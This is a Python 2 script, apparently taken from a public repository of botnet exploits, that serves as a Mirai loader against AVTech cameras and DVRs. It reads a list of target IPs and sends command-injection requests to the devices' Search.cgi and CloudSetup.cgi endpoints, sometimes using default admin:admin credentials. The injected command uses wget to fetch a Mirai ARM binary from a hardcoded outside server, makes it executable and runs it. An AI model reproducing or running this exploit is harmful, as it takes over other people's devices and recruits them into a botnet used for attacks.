Path: blob/master/Botnets/Exploits/AVTECH/avtech.py
5038 views
# Avtech loader12import sys, time, requests3from threading import Thread4import random56num = 17host_server = "23.130.192.132"8ips = open(sys.argv[1], "r").readlines()9filename = random.randint(1, 100) # making a random num for first of file name so cant get killed ez and avoid any other probs10filename = str(filename) # making it a str variable so we can add it lol11payload = "cd%20/tmp;%20wget%20http://"+host_server+"/33bi/mirai.arm5%20-O%20"+filename+".mirai.arm5;%20chmod%20777%20"+filename+".mirai.arm5;%20./"+filename+".mirai.arm5%20avtech"12def avtech(num, ip, port):13port = int(port)14host = '%s:%d' % (ip, port)15url = "http://"+host+"/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$("+payload+")&password=admin"16try:17headers = {18"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",19"Accept-Encoding": "gzip, deflate, sdch",20"Accept-Language": "en-US,en;q=0.8",21"Cache-Control": "max-age=0",22"Connection": "keep-alive",23"Host": ip,24"Upgrade-Insecure-Requests": "1",25"User-Agent": "Snickers-Avtech"26}27r1 = requests.get(url, headers=headers)28time.sleep(1)29resp = r1.text30if "ok" in resp.lower():31print "(%d) Sent payload[1]" % (num)32else:33url1 = "http://"+host+"/nobody/ez.htm?a=YWRtaW46YWRtaW4=&rnd=0.06814667194551349"34url2 = "http://"+host+"/cgi-bin/supervisor/CloudSetup.cgi?exefile="+payload+";%20echo%20snickers_was_here"35r2 = requests.get(url1, headers=headers)36time.sleep(0.5)37r3 = requests.get(url2, headers=headers)38time.sleep(1)39resp = r3.text40if "snickers_was_here" in resp.lower():41print "(%d) Sent payload[2]" % (num)42else:43print "(%d) Failed to send both payloads..." % (num)44except:45pass4647print "[AVTech] Directing Bots Towards -> %s" % (host_server)48for i in ips:49i = i.strip("\r\n")50info = i.split(":")51ip = info[0]52port = info[1]53proc = Thread(target=avtech, args=(num, ip, port,))54proc.start()55num += 15657print "[AVTech] Finished Loading..."5859